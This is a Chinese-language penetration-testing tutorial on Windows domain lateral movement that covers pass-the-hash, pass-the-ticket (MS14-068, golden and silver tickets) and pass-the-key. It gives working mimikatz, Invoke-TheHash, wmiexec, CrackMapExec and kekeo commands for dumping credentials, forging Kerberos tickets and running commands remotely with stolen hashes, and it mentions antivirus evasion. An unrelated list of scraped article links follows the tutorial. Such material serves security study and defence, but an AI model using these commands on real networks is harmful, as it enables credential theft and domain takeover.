5.内网渗透之PTHPTTPTK
----------------------------------------------
本文参考自三好学生-域渗透系列文章
内网渗透之PTH&PTT&PTK
PTH(pass-the-hash)
pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
pass the hash原理:
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash爆破
- 内网中存在和当前机器相同的密码
微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。
从windows到windows横向pth这一类攻击方法比较广泛
Mimikatz
mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
使用mimikatz先获取hash:
privilege::debug sekurlsa::logonpasswords
得到hash后
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7
可以看到NTML hash已经对workgroup使用,这样的话访问远程主机或服务,就不用提供明文密码
pass the hash成功~
wmiexec
windows 管理规范[WMI]”,实际上就是windows从03/xp开始就一直内置的一个系统插件,其设计初衷之一是为了管理员能更加方便的对远程windows主机进行各种日常管理,此处我们不妨先来简单来试着想一下,对windows的远程管理到底意味着什么,没错,它意味着我们可以直接在本地操作远程目标机器上的进程,服务,注册表等其它的一系列的特权操作,严格来说它其实是为各种服务提供一个统一的调用接口而设计的,比如,你想操作什么服务就去调用对应的服务类中的方法去执行你的操作就行,不过,单对于内网横向移动来讲,我们可以暂时先不用把它理解的 非常细致,毕竟不是在专门做针对性的防御产品,也正是由于此功效,在正常的管理员的眼里 wmi 可能确实是一把远程管理的好手,但在渗透者眼中,它也同样是一把在目标内网进行横向移动的非常趁手的武器
wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。只能说很多工具吧,比较好用的在这里介绍两种:
第一种:
https://github.com/Kevin-Robertson/Invoke-TheHash
其他攻击手法可以看下readme,这里只简单的对pth做一下实验:
Invoke-Module Invoke-TheHash.psd1 Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
查看192.168.3.21机器,发现calc.exe进程已经启动
另外还有Invoke-SMB等脚本都可以进行利用,利用方法也差不多一样:
Invoke-SMBExec
支持SMB1, SMB2 (2.1), and SMB signing
Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
通过在目标主机创建服务执行命令,所以权限为system
Invoke-SMBClient
支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的权限,没有远程执行权限,可以使用该脚本。
支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)
第二种:
wmiexec.py 脚本地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
wmiexec.exe 通过python impacket库实现的,生成的exe有点大,5M大小在实战起来有点不方便 :https://github.com/maaaaz/impacket-examples-windows
wmiexec.py的注释中提示"Main advantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可
参数实例:
wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"
wmiexec.py的hash参数格式为 LM Hash:NT Hash ,由于该Hash来自于Server 2008,系统默认不支持LM hash,所以LM hash可以设定为任意值
CrackMapExec
CrackMapExec可以对C段中的主机进行批量pth,项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令:
crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
对192.168.3.0/24 C段进行批量pass the hash
PTT(pass the ticket)
ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:
MS16-068,Golden ticket,SILVER ticket。
之前介绍了Kerberos协议具体工作方法,在域中,简要介绍一下:
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
- 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
- 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
- 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
ms14-068
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
ms14-068详细介绍:https://www.freebuf.com/vuls/56081.html
简单来说就是:
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。 1. 在请求AS时,将require_PAC设置成False。 2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。 3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
下面来介绍一下ms14-068的利用过程:
1.使用 whoami/user 得到普通域用户的sid
2.执行payload生成TGT票据:
利用工具:ms14-068
使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
运行实例:
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
3.票据注入:
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
显示Injecting ticket : OK就表示注入成功了~
4.查看注入是否成功并且登录域控:
查看klist:
发现已经将凭证注入进去了~下面可以使用net use进行登录,或者使用psexec,wmi等方法进行远程执行命令。注意,这里登录时,要使用机器名,不要使用IP,否则没办法攻击成功。
可以看到我们已经提升到域控权限。
考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket
Pass-The-Ticket需要用到gentilkiwi开源的另一款工具kekeo,下载地址:https://github.com/gentilkiwi/kekeo/releases
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
执行后生成票据 :
TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
接下来导入票据:
kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"
成功获得了域控的访问权限:
Golden ticket(黄金票据)
Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件:
- krbtgt用户的hash(就意味着你已经有域控制器权限了)
- 域名称
- 域的SID值
- 要伪造的用户名
先登录域控制器,dump krbtgt用户的hash值,获取域sid:
privilege::debuglsadump::lsa /patch
切换到普通域用户的机器,生成TGT凭证,用户名为administrator:
然后使用mimikatz将凭证注入进去,攻击成功:
mimikatz # kerberos::ptt test.kirbi
如果主机开启了RPC服务,还可以使用WmiExec.vbs直接连接:
Silver ticket(白银票据)
silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt.
1.首先登录域控,dump机器hash
privilege::debug sekurlsa::logonpasswords
2.将hash保存下来,在普通域用户机器中进行ptt
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21 /rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt
这里的cifs是指的文件共享服务,有了cifs服务权限,就可以访问域控制器的文件系统:
PTK(pass the key)
还是使用的mimikatz工具,不过需免杀。
获取用户的aes key:
mimikatz "privilege::debug" "sekurlsa::ekeys"
注入aes key:
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
成功注入aes256,尝试远程连接:
如果拒绝访问的话尝试安装kb2871997补丁
参考链接:
https://www.anquanke.com/post/id/159959
https://klionsec.github.io/2016/08/10/ntlm-kerberos/
https://mp.weixin.qq.com/s/7YidkhJvmVBxFhYcD7pIfQ
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/
https://adsecurity.org/?p=1515
https://github.com/gentilkiwi/kekeo/wiki/ms14068
http://wooyun.jozxing.cc/static/drops/tips-12159.html
http://www.freebuf.com/vuls/56081.html
http://blog.51cto.com/z2ppp/2060695
转载于:https://www.cnblogs.com/bmjoker/p/10355979.html
5.内网渗透之PTHPTTPTK相关推荐
- 内网渗透-PTHPTTPTK
内网渗透-PTH&PTT&PTK !–看小迪老师课程自己做的笔记 !–之前gitee图床出问题了,部分图片实在找不到了,想深入研究可以去看小迪老师课程 一.kerberos协议具体工作 ...
- kali扫描内网ip_来,我们聊聊内网渗透!
文章来源:Admin Team 0x00 前言 前段时间再看 metasploit 和白帽子讲 Web 安全,就一直想自己搭个从 Web 端渗透进入内网的环境玩一下,不过因为不太懂计网的知识,拓扑图也 ...
- [原创]K8域控植入脚本生成器(内网渗透/RPC不可用解决方案)
[原创]K8域控植入脚本生成器(内网渗透/RPC不可用解决方案) 参考文章: (1)[原创]K8域控植入脚本生成器(内网渗透/RPC不可用解决方案) (2)https://www.cnblogs.co ...
- 红蓝对抗 linux内网渗透
目录 一.前言 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH 3.2 nc/ncat 3.3 portmap ...
- 内网渗透测试:NTLM Relay攻击分析
目录 基础知识 NTLM认证过程 NTLM中继攻击原理 获得Net-NTLM Relay的思路 利用LLMNR和NetBIOS欺骗获得Net-NTLMHash 利用WPAD劫持获得Net-NTLMHa ...
- 内网渗透测试:内网信息收集与上传下载
在之前的几节中,我们讲了隐藏通讯隧道技术的运用,那其实都是渗透测试的后话,接下来要讲的信息收集才是内网渗透的基础. 可以说内网渗透测试,其本质就是信息收集.信息收集的深度,直接关系到内网渗透测试的成败 ...
- 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗...
1 基础知识 1.1 网络 熟悉常见网络协议: https://www.ietf.org/standards/rfcs/ 1.2 操作系统 1.3 编程 2 恶意软件分析 2.1 分类 2.1.1 木 ...
- 【内网渗透工具】炫彩蛇安装教程
点击查看[学习资料] Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化. Viper基础功能已集成杀软绕过,内网隧道,文件管理,增强命令行等基础功能. Viper ...
- 【内网渗透】利用非常规手段突破安全策略上线CS
前言 本文为一篇利用非常规手段突破安全策略的内网渗透记录 [查看资料] 环境简述&说明 web打点getshell,webshell是冰蝎,权限为.net,权限很低,服务器为server 20 ...
最新文章
- python里format有什么用_python的format什么意思
- JavaWeb黑马旅游网-学习笔记04【BaseServlet抽取】
- Asp.Net Core WebAPI使用Swagger时API隐藏与分组
- 【离散化】【DP】命运石之门的选择
- java服务器和linux_在Linux下开一个Java服务器(使用CatServer Pro)
- linux下关闭网络服务,Linux 关闭网络管理服务
- E-MapReduce解决hive comment中文乱码问题
- 1636: Pascal山脉
- linux判断网站被采集,网站被采集的几个处理方法(非技术)
- 马化腾回应“腾讯没有梦想”;抖音用户破 2 亿;罗永浩微博打假 | 极客头条...
- js获取当前URL、域名、端口号等
- html hr 垂直居中,常见的CSS水平垂直居中设置
- [国家集训队]矩阵乘法 整体二分
- 宝塔面板网站解决跨域问题
- surface go 安装纯AndroidX86系统
- 胡润研究院发布的中国民营企业500强榜单,腾讯第一
- 微信小程序: 开发文档
- android canvas 背景图片,Android更改canvas背景颜色而不会丢失任何图纸
- ESP8266串口wifi模块 NodeMCU Lua V3物联网开发板 CH340上传程序不显示
- nodejs-5.1 ejs模板引擎
热门文章
- 朴新教育澄清破产传闻:债务重组是最有利方案 公司继续经营
- 巨量引擎最大转化投放实战案例深度解析!
- Hazelcast 集群
- 英语人机考试计算机算分吗,揭秘 | 英语“人机对话”听说考试提分策略 注意事项,收藏备用 !...
- 【Qt Quick】零基础入门系列之安装与卸载(一)
- PHP全栈学习笔记7
- java8 comsumer_java8 - 内置函数式接口(Consumer)
- 菜鸟知识-五大智能手机操作系统
- iOS 常用快捷键 摆脱菜鸟!!
- 线性目标规划(线性目标规划、图解法、单纯形法)